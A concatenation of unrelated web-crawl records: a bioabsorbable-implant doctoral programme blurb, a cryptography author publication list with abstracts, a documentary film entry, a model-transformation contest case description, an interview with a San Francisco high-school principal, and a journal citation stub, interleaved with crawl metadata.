\"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 1, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 1, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.26927486062049866, \"perplexity\": 7328.394599371027}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296950383.8\/warc\/CC-MAIN-20230402043600-20230402073600-00208.warc.gz\"}"} | null | null |
BioImplant Innovative Training Network (ITN) is an ambitious European Industrial Doctorate programme that will provide world-class multidisciplinary training to 12 Early-Stage Researchers in the area of bioabsorbable medical implant development.
BioImplant Innovative Training Network (ITN) is a European Industrial Doctorate (EID) programme that will provide world-class multidisciplinary skills to 12 Early-Stage Researchers through an integrated research & training programme in the area of bioabsorbable medical implant development.
Bioabsorbable materials are a category of biomaterial that gradually degrade when implanted in a biological environment. They have the potential to form the basis for the next-generation of vascular and orthopaedic medical implants as they can reduce the need for revision surgeries and avoid biocompatibility issues associated with conventional permanent implants. However, several issues relating to poor mechanical properties and/or uncontrollable degradation behaviour of current materials has presented significant technical challenges to the medical device sector. Furthermore, the stringent regulatory requirements associated with a "step-change" technology in the industry has formed a barrier to innovation in the field of bioabsorbables.
The programme vision of the BioImplant ITN is to develop improved bioabsorbable materials for medical implant applications and deliver technical, interdisciplinary, and transferrable skills training to the Early-Stage Researchers throughout all stages of the development process.
This next-generation of medical implants will be realised through technological innovation throughout the development process, including novel material development, advanced manufacturing technologies, robust characterisation and predictive capabilities and innovative application design. All ESRs on the BioImplant ITN will have active involvement in all stages of the development process and the programme will culminate in the development of several functionally superior vascular and orthopaedic bioabsorbable medical implants.
The BioImplant ITN will also deliver a structured training programme that will enable the ESR community to innovate, develop and translate implant technologies from a clinical need to a commercial product. This integrated training programme placing research excellence at its core with advanced technical skills through hands-on research and structured training courses provided by the consortium network. The ESR community will also gain international and intersectoral experience through planned industrial placements and secondments, enhancing career development and employability and promoting their development into leading innovators in the European medical technology sector.
Please carefully read the CALL FOR APPLICANTS guidance document for more details about the recruitment process and visit ESR PROJECTS page to see more details about positions available. | {
"redpajama_set_name": "RedPajamaC4"
} | 6,708 |
{"url":"https:\/\/www.iacr.org\/cryptodb\/data\/author.php?authorkey=577","text":"## CryptoDB\n\n### Xavier Boyen\n\n#### Publications\n\nYear\nVenue\nTitle\n2017\nCRYPTO\n2016\nASIACRYPT\n2016\nJOFC\n2014\nEPRINT\n2013\nTCC\n2012\nPKC\n2011\nJOFC\n2010\nEPRINT\nNetwork coding is a method for achieving channel capacity in networks. The key idea is to allow network routers to linearly mix packets as they traverse the network so that recipients receive linear combinations of packets. Network coded systems are vulnerable to pollution attacks where a single malicious node floods the network with bad packets and prevents the receiver from decoding correctly. Cryptographic defenses to these problems are based on homomorphic signatures and MACs. These proposals, however, cannot handle mixing of packets from multiple sources, which is needed to achieve the full benefits of network coding. In this paper we address integrity of multi-source mixing. We propose a security model for this setting and provide a generic construction.\n2010\nPKC\n2010\nPKC\n2010\nCRYPTO\n2010\nEUROCRYPT\n2009\nPKC\n2008\nJOFC\n2007\nASIACRYPT\n2007\nEUROCRYPT\n2007\nEUROCRYPT\n2007\nPKC\n2007\nEPRINT\nWe introduce the mesh signature primitive as an anonymous signature that borrows from ring signatures, but with added modularity and a much richer language for expressing signer ambiguity. The language can represent complex access structures, and in particular allows individual signature components to be replaced with modular certificate chains. As a result, withholding one's public key from view is no longer a shield against being named as a possible cosignatory; and hence, a mesh signature may be used as a ring signature substitute with compulsory enrollment. We give an efficient construction based on bilinear maps in the common random string model. Our mesh signatures have linear size, achieve everlasting perfect anonymity, and as a special case induce the most efficient and first unconditionally anonymous ring signatures without random oracles or trusted setup authorities. We prove non-repudiation from a mild extension of the SDH assumption, which we introduce and justify meticulously.\n2006\nCRYPTO\n2006\nCRYPTO\n2006\nEUROCRYPT\n2006\nEPRINT\nWe present an identity-based cryptosystem that features fully anonymous ciphertexts and hierarchical key delegation. We give a proof of security in the standard model, based on the mild Decision Linear complexity assumption in bilinear groups. The system is efficient and practical, with small ciphertexts of size linear in the depth of the hierarchy. Applications include search on encrypted data, fully private communication, etc. Our results resolve two open problems pertaining to anonymous identity-based encryption, our scheme being the first to offer provable anonymity in the standard model, in addition to being the first to realize fully anonymous HIBE at all levels in the hierarchy.\n2006\nEPRINT\nIn most forward-secure signature constructions, a program that updates a user's private signing key must have full access to the private key. Unfortunately, these schemes are incompatible with several security architectures including Gnu Privacy Guard (GPG) and S\/MIME, where the private key is encrypted under a user password as a second factor'' of security, in case the private key storage is corrupted, but the password is not. We introduce the concept of forward-secure signatures with untrusted update, where the key update can be performed on an encrypted version of the key. Forward secure signatures with untrusted update allow us to add forward security to signatures, while still keeping passwords as a second factor of security. We provide a construction that has performance characteristics comparable with the best existing forward-secure signatures. In addition, we describe how to modify the Bellare-Miner forward secure signature scheme to achieve untrusted update.\n2005\nEUROCRYPT\n2005\nEUROCRYPT\n2005\nEPRINT\nWe present the first efficient group signature scheme that is provably secure without random oracles. We achieve this result by combining provably secure hierarchical signatures in bilinear groups with a novel adaptation of the recent Non-Interactive Zero Knowledge proofs of Groth, Ostrovsky, and Sahai. The size of signatures in our scheme is logarithmic in the number of signers; we prove it secure under the Computational Diffie-Hellman and the Subgroup Decision assumptions in the model of Bellare, Micciancio, and Warinshi, as relaxed by Boneh, Boyen, and Shacham.\n2005\nEPRINT\nWe present a Hierarchical Identity Based Encryption (HIBE) system where the ciphertext consists of just three group elements and decryption requires only two bilinear map computations, independent of the hierarchy depth. Encryption is as efficient as in other HIBE systems. We prove that the scheme is selective-ID secure in the standard model and fully secure in the random oracle model. Our system has a number of applications: it gives very efficient forward secure public key and identity based cryptosystems (where ciph ertexts are short), it converts the NNL broadcast encryption system into an efficient public key broadcast system, and it provides an efficient mechanism for encrypting to the future. The system also supports limited delegation where users can be given restricted private keys that only allow delegation to certain descendants. Sublinear size private keys can also be achieved at the expense of some ciphertext expansion.\n2005\nEPRINT\nWe describe a new encryption technique that is secure in the standard model against adaptive chosen ciphertext (CCA2) attacks. We base our method on two very efficient Identity-Based Encryption (IBE) schemes without random oracles due to Boneh and Boyen, and Waters. Unlike previous CCA2-secure cryptosystems that use IBE as a black box, our approach is endogenous, very simple, and compact. It makes direct use of the underlying IBE structure, and requires no cryptographic primitive other than the IBE scheme itself. This conveys several advantages. We achieve shorter ciphertext size than the best known instantiations of the other methods, and our technique is as efficient as the Boneh and Katz method (and more so than that of Canetti, Halevi, and Katz). Further, our method operates nicely on hierarchical IBE, and since it allows the validity of ciphertexts to be checked publicly, it can be used to construct systems with non-interactive threshold decryption. In this paper we describe two main constructions: a full encryption system based on the Waters adaptive-ID secure IBE, and a KEM based on the Boneh-Boyen selective-ID secure IBE. Both systems are shown CCA2-secure in the standard model, the latter with a tight reduction. We discuss several uses and extensions of our approach, and draw comparisons with other schemes that are provably secure in the standard model.\n2004\nCRYPTO\n2004\nCRYPTO\n2004\nEUROCRYPT\n2004\nEUROCRYPT\n2004\nEPRINT\nWe describe a short signature scheme which is existentially unforgeable under a chosen message attack without using random oracles. The security of our scheme depends on a new complexity assumption we call the {\\em Strong Diffie-Hellman} assumption. This assumption has similar properties to the Strong RSA assumption, hence the name. Strong RSA was previously used to construct signature schemes without random oracles. However, signatures generated by our scheme are much shorter and simpler than signatures from schemes based on Strong RSA. Furthermore, our scheme provides a limited form of message recovery.\n2004\nEPRINT\nWe construct two efficient Identity Based Encryption (IBE) systems that are selective identity secure {\\em without the random oracle model} in groups equipped with a bilinear map. Selective identity secure IBE is a slightly weaker security model than the standard security model for IBE. In this model the adversary must commit ahead of time to the identity that it intends to attack, whereas in the standard model the adversary is allowed to choose this identity adaptively. The first system is based on the decisional bilinear Diffie-Hellman assumption, and extends to give a selective identity Hierarchical IBE secure without random oracles. The second system is based on a related assumption called the bilinear Diffie-Hellman inversion assumption. Applications of either system include an efficient CCA2 public key cryptosystem that supports non-interactive threshold decryption in the standard model, and a simple and practical IBE system that remains secure against full adaptive-ID attacks, under some security penalty, without random oracles.\n2004\nEPRINT\nWe present a fully secure identity based encryption scheme whose proof of security does not rely on the random oracle heuristic. Security is based on the decisional bilinear Diffie-Hellman assumption. Previous constructions of this type incurred a large penalty factor in the security reduction from the underlying complexity assumption. The security reduction of the present system is polynomial in all the parameters.\n2004\nEPRINT\nWe construct a short group signature scheme. Signatures in our scheme are approximately the size of a standard RSA signature with the same security. Security of our group signature is based on the Strong Diffie-Hellman assumption and a new assumption in bilinear groups called the Decision Linear assumption. We prove security of our system, in the random oracle model, using a variant of the security definition for group signatures recently given by Bellare, Micciancio, and Warinschi.\n2004\nEPRINT\nWe show that a number of recent definitions and constructions of fuzzy extractors are not adequate for multiple uses of the same fuzzy secret---a major shortcoming in the case of biometric applications. We propose two particularly stringent security models that specifically address the case of fuzzy secret reuse, respectively from an outsider and an insider perspective, in what we call a chosen perturbation attack. We characterize the conditions that fuzzy extractors need to satisfy to be secure, and present generic constructions from ordinary building blocks. As an illustration, we demonstrate how to use a biometric secret in a remote error tolerant authentication protocol that does not require any storage on the client's side.\n2003\nCRYPTO\n2003\nEPRINT\nA combined Identity-Based Signature\/Encryption system with multiple security properties is presented. The scheme allows Alice to sign a message and encrypt it for Bob (\"confidentiality\") in such a way that the ciphertext does not reveal anything about their identities (\"anonymity\"); upon receipt, Bob is convinced that he is Alice's intended addressee (\"authentication\") but is unable to prove this to a third party (\"unlinkability\"); nevertheless, the decrypted message bears a signature by Alice that anyone can verify (\"non-repudiation\"). The construction is based on the Bilinear Diffie-Hellman assumption, and proved secure in the random oracle model.\n\nAsiacrypt 2019\nEurocrypt 2019\nAsiacrypt 2016\nAsiacrypt 2012\nEurocrypt 2011\nCrypto 2010\nPKC 2010\nEurocrypt 2009\nPKC 2009\nAsiacrypt 2009\nCrypto 2008\nCrypto 2007\nPKC 2006","date":"2021-05-08 04:08:40","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 0, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 1, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.47083285450935364, \"perplexity\": 1693.7116774804517}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243988837.67\/warc\/CC-MAIN-20210508031423-20210508061423-00066.warc.gz\"}"} | null | null |
Damned – The Strange World of José Mojica Marins (original title: Maldito - O Estranho Mundo de José Mojica Marins) is a 2001 Brazilian documentary film directed by André Barcinski and Ivan Finotti.
Overview
The film tells the story of the Brazilian filmmaker, director, screenwriter, film and television actor and media personality José Mojica Marins. The film features Marins (as himself) and his associates and family members recounting episodes of his life and career from childhood to international recognition in later years.
Accolades
The film received the Special Jury Award in Latin American Cinema at the 2001 Sundance Film Festival.
Cast
José Mojica Marins (as himself)
Mário Lima
Rubens Lucchetti
Conceição Marins
Nilcemar Leyart
See also
Demons and Wonders
Coffin Joe
References
External links
Official Coffin Joe website
2001 films
Brazilian documentary films
Brazilian independent films
2000s Portuguese-language films
Documentary films about film directors and producers
2001 documentary films | {
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} | 7,851 |
\section{Objective of the Case}
\label{sec:objective}
The objective of this case\footnote{This case's project on github:
\url{https://github.com/tsdh/ttc-2013-flowgraphs-case}} is to evaluate the
flexibility of transformation tools, i.e., to evaluate their usefulness for
tasks requiring different capabilities. Although different capabilities are
needed, all tasks are connected by their general topic: \emph{analysis and
transformations in compiler construction}.
Task~1 deals with a typical model-to-model transformation problem. Given an
abstract syntax graph of a Java program conforming to a very detailed
metamodel, the structure graph of the original program conforming to a much
simpler metamodel has to be generated. Embedded in this task is a
model-to-text transformation where parts of the Java syntax graph have to be
serialized back to Java source code.
In task~2, the structure graph resulting from task~1 should be enhanced with
control flow information. This is an in-place transformation task which is
suited for graph transformation tools but can also be tackled algorithmically.
Task~3 is also an in-place transformation. Based on the control flow graph
resulting from task~2, data flow information has to be synthesized. Again,
this task is suited to be tackled with graph transformations or
algorithmically.
The context of task~4 is a bit offside the strict transformation context. A
simple validation tool and DSL should be developed to offload testing to Java
developers.
Because every task builds upon the results of previous tasks, the intermediate
models are also provided to allow participants to defer or skip tasks not
particulary suited for their tools, or to allow teams for developing solutions
in parallel.
\section{Detailed Task Description}
\label{sec:task-descr}
\paragraph{Task~1: Structure Graph.}
\label{sec:task1-structure-graph}
The first task requires writing a model-to-model transformation. The source
models are abstract Java syntax graphs conforming to the JaMoPP metamodel
\cite{jamopp09}. The JaMoPP metamodel covers the complete syntax of Java 7.
However, to restrict the size of the transformation, the elements actually
contained in the provided source models is limited. They all contain one
compilation unit containing exactly one class with exactly one method. The
method may have parameters. In the method's body, there may be local variable
declarations, arithmetic expressions (only \verb|+|, \verb|-|, \verb|*|, and
\verb|/|), assignments, unary modification expressions (\verb|i++;| and
\verb|i--;|), \verb|return| statements, and blocks. There may be
\verb|if|-statements and \verb|while|-loops with a boolean expression as
condition. Statements may be labeled, and \verb|break|/\verb|continue| may be
used with or without target label. The target metamodel of the transformation
is depicted in Figure~\ref{fig:structure-graph-mm}.
\begin{figure}[h!]
\centering
\includegraphics[width=.9\linewidth]{StructureGraph}
\caption{The target structure graph metamodel}
\label{fig:structure-graph-mm}
\end{figure}
It is very similar to the original JaMoPP metamodel from a structural point of
view. The major difference is that statements and expressions are represented
as one single object instead of being split up any further. Another difference
is that every \verb|Method| has exactly one \verb|Exit|. There is no
correspondence in Java, but it's a synthetic element added in favour of task~2.
No matter how a method is exited, the last object in a method's control flow
graph is this method's \verb|Exit| object.
All metamodel classes extend the abstract \verb|Item| class, even the class
\verb|Expr| although not visible in Figure~\ref{fig:structure-graph-mm}.
\verb|Item| declares a \verb|txt| attribute. The transformation has to set the
value of this attribute to the concrete Java syntax of the statement or
expression, that is, there is a model-to-text transformation embedded in this
model-to-model transformation.
With the exception of \verb|Break| and \verb|Continue| objects that might refer
to a target \verb|Label|, the structure graphs created by the transformation
are simple trees that reflect the containment hierarchy of the method.
\paragraph{Task~2: Control Flow Graph.}
\label{sec:task2-cf-graph}
This task deals with an in-place transformation problem. The semantics of the
Java programming language should be integrated into the structure graphs
created by the previous transformation. The task is to perform an
intra-procedural control flow analysis. Any instruction should be connected to
the instructions that may follow it in the method's control flow.
Figure~\ref{fig:control-flow-mm} shows the relevant metamodel excerpt.
\begin{figure}[h!]
\centering
\includegraphics[width=0.7\linewidth]{ControlFlowGraph}
\caption{Metamodel classes related to control flow}
\label{fig:control-flow-mm}
\end{figure}
Simple statements, expressions, the synthetical exits, methods, \verb|return|,
and the jump statements \verb|break| and \verb|continue| extend
\verb|FlowInstr|. Every flow instruction knows its immediate control flow
predecessors (\verb|cfPrev|) and successors (\verb|cfNext|). It's those links
the transformation has to synthesize from the structure graph.
Blocks, labels, loops, and if-statements don't participate in the control flow.
Instead, when control flow reaches a block, the first flow instruction in the
block is the control flow successor of the previous flow instruction. Since
blocks may be nested in other blocks, the \emph{first} flow instruction is
actually the first one reachable by a depth-first search. These \emph{first}
semantics apply to the whole description of this task.
In case of a label, the first flow instruction in the labled statement is the
control flow successor.
In case of loops and if-statements, the successor is their test expression.
This expression has in turn two control flow successors. If it is a test
expression of a loop, the successors are the first flow instruction in the
loop's body, and the first flow instruction following the loop. If it is a
test expression of an if-statements, the first successor is the first flow
instruction in then-statement. If there is an else-statement, its first flow
instruction is the other control flow successor. Otherwise, the other
successor is the first flow instruction in the statement following the
if-statement.
The control flow successor of a \verb|Method| is its first flow instruction,
and \verb|Return| statements always have the method's \verb|Exit| as control
flow successor.
The most complex control flow rules apply to the \verb|Break| and
\verb|Continue| statements. Without a target label, the control flow successor
of a \verb|Break| is the first flow instruction following the immediately
surrounding loop, and the successor of a \verb|Continue| is the test expression
of the immediately surrounding loop. With a target label, the control flow
successor of a \verb|Break| is the first flow instruction following the labeled
statement, and the successor of a \verb|Continue| is the expression of the
surrounding labeled loop.
\paragraph{Task~3: Data Flow Graph.}
\label{sec:task3-df-graph}
In this task, an intra-procedural data flow analysis should be performed. The
relevant metamodel excerpt is shown in Figure~\ref{fig:data-flow-mm}. This can
be done based on the control flow graph, but one important piece of information
is missing from it: for every flow instruction, the sets of read and written
variables have to be known. Therefore, this task is twofold:
\begin{compactenum}
\item The model-to-model transformation from task~1 has to be extended so that
it also creates \verb|Var| objects for local variables and \verb|Param|
objects for method parameters which are connected to flow instructions
reading from and writing to them.
\item A transformation synthesizing data flow edges has to be written that
takes the control flow graph resulting from applying task~2's transformation
to the result of the extended java-to-structure-graph transformation.
\end{compactenum}
\begin{figure}[h!]
\centering
\includegraphics[width=0.5\linewidth]{DataFlowGraph}
\caption{Metamodel classes related to data flow}
\label{fig:data-flow-mm}
\end{figure}
\subparagraph{Subtask~3.1.}
\label{sec:subtask-3.1}
For every local variable statement and every method parameter in the JaMoPP
model, the extended model-to-model transformation has to create a \verb|Var| or
a \verb|Param| object, respectively. The \verb|txt| attribute should be set to
the variable's/parameter's name. Furthermore, every flow instruction should be
connected to the variables it writes (the \verb|def| reference) and to the
variables it reads (the \verb|use| reference).
\subparagraph{Subtask~3.2.}
\label{sec:subtask-3.2}
The model resulting from applying the enhanced model-to-model transformation on
the JaMoPP syntax graphs followed by applying the control flow transformation
from task~2 to it is the source model for the data flow transformation to be
developed in this subtask.
It's sole purpose is to synthesize \verb|dfNext| links. For every flow
instruction $n$, a \verb|dfNext| link has to be created from all nearest
control flow predecessors $m$ that define a variable which is used by $n$.
Formally:
\begin{align*}
m \rightarrow_{dfNext} n \iff {} & def(m) \cap use(n) \neq \emptyset\\
~\land {} & \exists~Path~m = n_0 \rightarrow_{cfNext} ... \rightarrow_{cfNext} n_k = n:\\
& \left(def(m) \cap use(n)\right) \setminus \left(\bigcup_{0 < i < k}
def(n_i)\right) \neq \emptyset
\end{align*}
That is, $n$ uses at least one variable defined by $m$, and there is a control
flow path from $m$ to $n$ in which at least one variable used by $n$ and
defined by $m$ is not redefined by intermediate flow instructions.
There are several ways to tackle this problem. A simple one is to take the
definition literally, i.e., for every flow instruction search the nearest
control flow predecessors that define a variable used by instruction with
quadratic worst-case effort. A more efficient and sophisticated algorithm is
described in the dragonbook \cite{Aho:CPTT}, chapter 9.1. The models resulting
from this task which include control and data flow information are called
\emph{program dependence graphs} (PDG), and they play an important role in the
optimization phase in compilers \cite{Ferrante:1987:PDG:24039.24041}.
\paragraph{Task~4: Validation.}
\label{sec:task4-validation}
The fourth task is no strict transformation task. Instead, the challenge is
validating the program dependence graphs resulting from task~3. Concretely, it
should be checked if all \verb|cfNext| and \verb|dfNext| links are set
properly.
A simple tool that gets a result PDG as input and all control and data flow
links specified with a simple DSL should be provided. The tool should print
all missing and all false links, i.e., all links defined in the textual
specification that don't occur in the model, and all links occuring in the
model that are not defined by the specification.
In the example Java programs provided in this case description project, every
statement and expressions occurs at most once in a method, e.g., there's is no
method with two \verb|i++;| statements. Therefore, for all PDGs generated from
them, the \verb|txt| attribute can be used to uniquely identify any object.
An example specification is given in Listing~\ref{lst:example-validation}.
There's no restrictions on the actual syntax except that it should be easy to
write for a Java programmer.
\begin{lstlisting}[caption={An example validation DSL for result PDGs},label={lst:example-validation}]
cfNext: "testMethod()" --> "int a = 1;"
cfNext: "int a = 1;" --> "int b = 2;"
...
dfNext: "int a = 1;" --> "int c = a + b;"
dfNext: "int b = 2;" --> "int c = a + b;"
...
\end{lstlisting}
The requested tools's job is simple. It has to load a PDG and to read a
specification such as depicted in Listing~\ref{lst:example-validation}. For
any \verb|cfNext| or \verb|dfNext| link in the model, it has to check if it is
also defined in the specification. If not, it has to print a \emph{false-link
warning} message. Reversely, it has to check if every link defined in the
specification also occurs in the model. If not, it has to print a
\emph{missing-link warning}.
\section{Evaluation}
\label{sec:evaluation-criteria}
The evaluation of solutions has been done in two phases. Before the workshop,
there was an open peer review where participants assessed the objective
criteria \emph{completeness}, \emph{correctness}, and \emph{efficiency}.
Furthermore, they assigned scores for the subjective criteria of the
transformation language's and tool's \emph{usefulness} and its \emph{ease of
use}. During the workshop, all attendants only assigned scores for the
subjective criteria. The overall winner (the Epsilon solution) was then
determined by setting the open peer review scores off against the workshop
scores.
| {
"redpajama_set_name": "RedPajamaArXiv"
} | 9,398 |
"Anti-Racist" Geometry Lessons Explained
Mission High principal Eric Guthertz talks test scores, "Waiting for Superman," and why teachers' unions aren't the problem with schools.
Kristina Rizga
Photo: Mark Murrmann
Editors' Note: This education dispatch is part of a new ongoing series reported from Mission High School, where education writer Kristina Rizga is known to students as "Miss K." Click here to see all of MoJo's recent education coverage, or follow The Miss K Files on Twitter or with this RSS Feed.
For Mission High School principal Eric Guthertz, just walking from the school's parking lot to his office can be a test of conflict mediation skills: last month one such trip took him two hours and involved "an angry student, an upset teacher, and a maintenance person." He's short of breath when he sits down to meet with me in the principal's office on one typically hectic day. "Please keep the door closed!" he yells to his staff. But within five minutes a young woman is already knocking on his door. He takes it all in stride.
An educator for 22 years, Guthertz has been at Mission High for the past 10—first as an English teacher, then vice principal, and more recently as the school's principal. Test scores in Math and English among African-American and Latino students have shot up significantly since he took over as head of school three years ago, though he attributes these improvements largely to the work of Stanford's Linda Darling-Hammond and the "anti-racist" foundation laid by Mission High's previous principal, Kevin Truitt. This year Mission High showed the largest gains in test scores among all San Francisco high schools, passing 600 points for the first time (out of a total 1,000). Student college acceptance rates are growing; student drop out rates declined from 32 percent to 8 in one year. These changes are especially impressive in California, which ranks 47th when it comes to school funding per student.
How did this happen? Guthertz took 30 minutes out of a typically hectic day to explain:
Mother Jones: Which major changes, in your opinion, contributed to significant increases in your students' test scores?
Eric Guthertz: About seven years ago, we redesigned the entire school into smaller learning communities based on the work of Linda Darling-Hammond out of Stanford. The first notion was "personalization"—that if students are known and cared for, they will be more successful.
The second was collaboration. We redesigned the school around teams, so that a group of teachers would work with each other all year long, and have time in their daily schedule to talk about how to support students and to reflect on their pedagogy.
The third change is that we also have student advisors. So I may be your English teacher, but I also could be your advisor. And as your advisor I'll see you two days a week, so that kids are really well known.
Finally, I think the center of all that we are doing is our work around anti-racist teaching. Darling-Hammond has a list of goals, and one of them is this idea of multicultural and equity education. "Multicultural" and "equity" are fine terms, but we felt that "anti-racist" was more honest, named the issue directly, and signaled something quite powerful to the community at large.
MJ: So what does "anti-racist" mean in terms of pedagogy?
EG: [It means] how do you teach? Are you using engagement strategies? Are you valuing oral language as well as the written word? In terms of curriculum, is what you are teaching relevant to kids' lives?
This work can be really controversial sometimes. If you are going to be an anti-racist school, there is a flip side of that, which is, 'Well, what does it mean to be racist?'
We have amazing teachers here—really dedicated, thoughtful faculty. But certainly, we had our own internal controversies that we had to deal with. We had to learn how to be reflective and have brave, open conversations with each other. We are now at a level where all teachers desegregate their grades by ethnicity and have conversations about what it means when we have failures of one ethnic group over other. And then actually develop action plans around that.
MJ: Could you give an example of something specific a teacher changed in the class as a result of this approach?
EG: Let's say a teacher is looking at the standards of American history and comes across a section around the Monroe doctrine or the Westward expansion. While they will be covering the standards, they will also make sure that the issue is covered from a Latino perspective. So, they make an effort to find readings and writing that are connected culturally to the students.
In a geometry class, students are learning to map out their communities and look at how freeways are designed and how certain neighborhoods like Bay View or Western Addition—where many students live—have been reconfigured.
In a math class, they will look at percentages of demographics and how certain communities are shifting around the city. The idea is it's math, but it's the real world that kids can connect to.
MJ: How difficult was it to implement these changes?
EG: Some things were hard. In terms of anti-racist teaching, just the culture of self-reflection wasn't there yet, but it's very strongly here now.
I was in the classroom when we started the collaborative model and I think in general, it was welcomed. But people weren't used to working together that closely, and with students.
MJ: Have you had to fire any teachers?
EG: We don't fire teachers. I've certainly done a few evaluations where the teacher needed improvement and in some cases, there is a process called, "non-reelection." It means that if you are tenured, the district chooses not to re-hire you. I think you have to be very careful, and thoughtful, and make sure that all of the supports exist before you do that.
MJ: Some people argue that some teachers are just not born to be teachers. Do you agree with that?
EG: I think that's ridiculous. And I also think the "Waiting for Superman" thing is kind of ridiculous. Laying the blame on teachers or the unions is ridiculous. It's a smoke screen.
MJ: If the teachers' unions aren't the main obstacle to quality education, then what is?
EG: Number one is really adequately funding education. The state of California ranks at the very bottom, and we've got some grants and funds here and there, but we are still not adequately funded. None of the schools are in the district. And I don't think teachers are paid what they should be paid.
We are too quick to change things without really knowing what we are really changing. We know from study after study that real change takes 3-5 years.
We are too quick to change things without really knowing what we are really changing. We know from study after study that real change takes 3-5 years. I'm in a Principals Fellowship Program at Stanford and it comes up all of the time. And yet, there are changes from the state and the country without enough time to let things grow and cement and become real programs. We are starting to see change only now in Mission High, but it's taken six years.
MJ: What's on your mind, as we go into the next year?
EG: I'm worried about the budget cuts. As we speak, I just got an email forwarded to me with Jerry Brown's speech about the upcoming cuts in California. And to be honest, I'm worried about kids being safe on the winter break. Just last week, one of Mission High's former students got killed. I really hope everyone has a safe holiday and everyone comes back to school.
Why Mission High? A Brief Tour
Why the US Education System Is So Fascinating
Fast Times at Mission High
How To Get Into College While Trying Really, Really Hard | {
"redpajama_set_name": "RedPajamaCommonCrawl"
} | 5,419 |
Q: open outlook window to send email asp.net I am writing a project in asp.net C# using Visual Studio 2010.
I want to write function, which opens outlook window to send email when user clicks a button.
I tried this:
using Outlook = Microsoft.Office.Interop.Outlook;
Outlook.Application oApp = new Outlook.Application ();
Outlook._MailItem oMailItem = (Outlook._MailItem)oApp.CreateItem ( Outlook.OlItemType.olMailItem );
oMailItem.To = address;
// body, bcc etc...
oMailItem.Display ( true );
But compiler says there is no namespace Office inside namespace Microsoft.
Actually Microsoft Office including Outlook fully installed in my computer.
Should I include Office library to Visual Studio?
How the problem can be solved?
A: this use outlook to send email with recipient, subject, and body preloaded.
<A HREF="mailto:recipient@domain.com?subject=this is the subject&body=Hi, This is the message body">send outlook email</A>
A: If you use Microsoft.Office.Interop.Outlook, Outlook must be installed on the server (and runs on the server, not on user computer).
Have you tried using SmtpClient?
System.Net.Mail.MailMessage m = new System.Net.Mail.MailMessage();
using (m)
{
//sender is set in web.config: <smtp from="my alias <mymail@mysite.com>">
m.To.Add(to);
if (!string.IsNullOrEmpty(cc))
m.CC.Add(cc);
m.Subject = subject;
m.Body = body;
m.IsBodyHtml = isBodyHtml;
if (!string.IsNullOrEmpty(attachmentName))
m.Attachments.Add(new System.Net.Mail.Attachment(attachmentFile, attachmentName));
System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();
try
{ client.Send(m); }
catch (System.Net.Mail.SmtpException) {/*errors can happen*/ }
}
A: Rather you try like this,add using Microsoft.Office.Interop.Outlook; reference
Application app = new Application();
NameSpace ns = app.GetNamespace("mapi");
ns.Logon("Email-Id", "Password", false, true);
MailItem message = (MailItem)app.CreateItem(OlItemType.olMailItem);
message.To = "To-Email_ID";
message.Subject = "A simple test message";
message.Body = "This is a test. It should work";
message.Attachments.Add(@"File_Path", Type.Missing, Type.Missing, Type.Missing);
message.Send();
ns.Logoff();
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 6,779 |
How you THINK is the most important thing about you. Your THOUGHTS determine your ACTIONS and your actions determine your RESULTS. If you want to see different results you have to begin thinking different thoughts! Personal development is a constant mixture of Education, Experience and Evaluation.
These three factors will determine your growth rate.
Many people are always asking me "What books should I read to help me grow?" Whether it be personal or professional growth, the following 5 books are a must read to help shape the way you think.
These books have influenced my thinking in a powerful way. I'm sure, if you look closely at all I do, you'll find their influence. | {
"redpajama_set_name": "RedPajamaC4"
} | 2,517 |
Erasmus Research Institute of Management (ERIM)
Rotterdam School of Management (RSM)
Erasmus MC: University Medical Center Rotterdam
Erasmus School of Health Policy & Management (ESHPM)
Erasmus School of Law
Public Administration (FSS)
Netherlands Institute for Government (NIG)
Institute for Housing and Urban Development Studies (IHS)
Erasmus School of History, Culture and Communication (ESHCC)
Erasmus School of Social and Behavioural Sciences(ESSB)
Faculty of Philosophy (FW)
International Institute of Social Studies (ISS)
Submitting Publications
Erasmus School of Law /
Erasmus Law Review /
M.K. Kolacz (Marta) and A. Quintavalla (Alberto)
The Conduit between Technological Change and Regulation
Erasmus Law Review , Volume 11 - Issue 3 p. 143- 150
